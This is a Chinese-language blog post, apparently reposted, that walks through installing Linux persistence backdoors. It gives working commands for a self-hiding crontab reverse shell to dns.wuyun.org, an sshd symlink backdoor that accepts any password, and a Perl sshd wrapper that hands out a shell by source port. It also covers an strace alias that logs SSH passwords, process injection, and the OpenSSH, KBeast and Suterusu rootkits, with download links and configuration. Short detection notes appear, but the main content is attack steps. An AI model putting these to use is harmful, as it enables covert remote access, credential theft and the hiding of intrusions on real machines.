Linux_backdoor


Linux權限維持

前言

並未深入研究backdoor是怎么寫的,只是研究一下網上存在的幾種后門的用法。
測試環境:centos 6.5

crontab

計划任務,永遠的愛
每60分鍾反彈一次shell給dns.wuyun.org的53端口

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
硬鏈接sshd
上了防火牆的坑...測試前關閉一下吧
service iptables stop
出現:ssh: connect to host 192.168.206.142 port 2333: No route to host
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
ssh root@192.168.206.142 -p 2333
用root/bin/ftp/mail當用戶名,密碼任意

后門排查:

netstat -anopt
查找有問題的進程
ps -ef | grep pid
ls -al /tmp/su
kill -9 pid
rm -rf /tmp/su

SSH Server wrapper

條件:開啟ssh,如果不連接是沒有端口進程的,而且last也看不到

cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd

echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd

echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
//不用重啟也行
/etc/init.d/sshd restart

kali下的執行

socat STDIO TCP4:192.168.206.142:22,sourceport=13377

對於源端口的修改:

>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

后門排查:

netstat -anopt
//查看一下sshd進程情況,如果發現不是/usr/sbin/目錄下面,就有問題
ll /proc/1786
cat /usr/sbin/sshd

還原:

rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
SSH keylogger

vim當前用戶下的.bashrc文件,末尾添加

alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'

然后使配置生效

source .bashrc

當本地su或者ssh的時候,就會在tmp下面記錄(無論失敗成功都有記錄)

Cymothoa_進程注入backdoor

很贊的點是注入到的進程,只要有權限就行,然后反彈的也就是進程相應的權限(並不需要root那樣),當然進程重啟或者掛了也就沒了.當然動作也是很明顯的。
線程注入:

./cymothoa -p 2270 -s 1 -y 7777

nc -vv ip 7777
openssh_rookit

下載地址:http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

先patch

wget http://mirror.corbina.net/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
cp sshbd5.5p1.diff openssh-5.9p1/
cd openssh-5.9p1
patch < sshbd5.9p1.diff

安裝依賴

yum install zlib-devel
yum install openssl-devel
yun install pam-devel
yun install krb5-lib(沒安裝)

修改includes.h

編譯安裝再重啟sshd服務

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make && make install && service  sshd restart

利用:
會記錄登入登出的ssh賬號密碼(錯誤的也會記錄),配置文件中設置的密碼,也可以通過ssh然后root登陸。

發現:

找到可疑sshd並且查看一下last的登陸ip,最后kill他們的進程,清除暫時不知

Kbeast_rootkit

http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz

tar -zxvf ipsecs-kbeast-v1.tar.gz
cd kbeast-v1/
vi config.h

重要配置:

//鍵盤記錄
#define _LOGFILE_ "acctlog"

//rookit產生的日志配置文件所存儲位置(此位置是被隱藏的)
#define _H4X_PATH_ "/usr/_h4x_"

//telnet端口(端口也是隱藏的,netstat是看不到的)
#define _HIDE_PORT_ 23333

//telnet的端口以及返回回來的用戶名(必須能調用/sh/bash,否則安裝會出現Network Daemon錯誤)
#define _RPASSWORD_ "lolloltest"
#define _MAGIC_NAME_ "root"

利用:
1、 記錄:

2、 telnet連接

缺點:重啟就會失效,需要放入啟動項
優點:相比上面都是需要ssh相關或者是有一個低權限維持才能發揮的一個后門,這個是直接開放一個獨立的端口

發現:其實感覺修改一下進程名,發現還是有點麻煩

Mafix + Suterusu rookit

1、Mafix

./root lolloltest 23333

這樣就會產生一個端口為23333,root密碼也可以用lolloltest登陸的ssh,端口不隱藏

這時候就可以用Suterusu配合使用

2、Suterusu
功能表:

Get root
$ ./sock 0
Hide PID
$ ./sock 1 [pid]
Unhide PID
$ ./sock 2 [pid]
Hide TCPv4 port
$ ./sock 3 [port]
Unhide TCPv4 port
$ ./sock 4 [port]
Hide TCPv6 port
$ ./sock 5 [port]
Unhide TCPv6 port
$ ./sock 6 [port]
Hide UDPv4 port
$ ./sock 7 [port]
Unhide UDPv4 port
$ ./sock 8 [port]
Hide UDPv6 port
$ ./sock 9 [port]
Unhide UDPv6 port
$ ./sock 10 [port]
Hide file/directory
$ ./sock 11 [name]
Unhide file/directory
$ ./sock 12 [name]

編譯:

make linux-x86 KDIR=/lib/modules/$(uname -r)/build
gcc sock.c -o sock
//加載模塊
insmod suterusu.ko

結合Mafix使用(隱藏端口):

./sock 3 [port]

參考資料

https://www.aldeid.com/wiki/Cymothoa
http://phrack.org/issues/68/9.html
http://www.joychou.org/index.php/web/ssh-backdoor.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM